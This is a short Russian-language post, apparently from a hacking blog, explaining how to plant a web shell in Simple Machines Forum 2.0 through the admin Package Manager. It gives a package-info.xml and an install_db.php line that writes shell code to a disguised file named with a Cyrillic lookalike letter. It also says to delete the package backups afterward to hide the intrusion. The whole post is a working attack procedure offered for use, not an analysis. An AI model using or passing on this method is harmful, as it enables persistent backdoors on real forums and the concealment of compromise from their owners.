Заливка шелла в SMF 2.0

Сайт: http://www.simplemachines.org/
Необходимы права администратора
1. Идем в админку и выбираем Package Manager (http://localhost/smf_2_0/index.php?action=admin;area=packages).
2. Выбираем Download Packages.
3. Пакет с шеллом должен включать в себя файл package-info.xml с похожей структурой:

<?xml version="1.0"?>
<!DOCTYPE package-info SYSTEM "http://www.simplemachines.org/xml/package-info">
<package-info xmlns="http://www.simplemachines.org/xml/package-info" xmlns:smf="http://www.simplemachines.org/">
	<id>WSO by oRb</id>
	<name>WSO</name>
	<version>2.5</version>
	<type>modification</type>
	<install for="2.0, 2.0 RC4, 2.0 RC5, 2.0.1 - 2.0.99">
		<database>install_db.php</database>
	</install>
	<uninstall for="2.0, 2.0 RC4, 2.0 RC5, 2.0.1 - 2.0.99">
		<database>uninstall_db.php</database>
	</uninstall>
</package-info>

Так же необходимо наличие файлов install_db.php и uninstall_db.php (имена можно задать свои).
В install_db.php включен такой код:

<?php  file_put_contents($boarddir.'/Themes/default/Сonfig.php', 'КОД_ШЕЛЛА');  ?>

4. Выбираем Package to Upload. Package — это zip-архив с файлами package-info.xml, install_db.php и uninstall_db.php.
5. После заливки пакета выбираем [ Install Mod ]. Еще раз нажимаем Install Now и получаем шелл по адресу — http://localhost/smf_2_0/Themes/default/Сonfig.php
6. После установки шелла из папки /Packages/backups/ надо удалить файлы, которые содержат в имени имя пакета, который был использован.
Пример пакета — скачать
Возможно, cпособ работает не только на версии 2.0.
P.S. Способ, предложенный здесь, так же актуален для данной версии.

, ,

Оставить комментарий

Top ↑ | Main page | Back